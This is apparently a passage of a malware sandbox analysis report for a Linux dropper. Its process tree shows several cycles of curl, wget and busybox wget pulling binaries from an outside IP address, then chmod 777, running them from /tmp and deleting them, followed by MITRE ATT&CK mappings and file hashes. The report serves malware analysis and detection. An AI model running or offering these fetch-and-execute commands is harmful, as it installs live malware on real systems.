  curl -O http://87.120.126.196/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:898
- /bin/chmod
  chmod 777 FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  ./FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:900
- /bin/rm
  rm FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:901
- /usr/bin/wget
  wget http://87.120.126.196/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:902
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:904
- /bin/chmod
  chmod 777 TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  ./TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:906
- /bin/rm
  rm TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:907
- /usr/bin/wget
  wget http://87.120.126.196/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:910
- /bin/chmod
  chmod 777 iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  ./iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:913
- /usr/bin/wget
  wget http://87.120.126.196/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:914

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX

Path /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads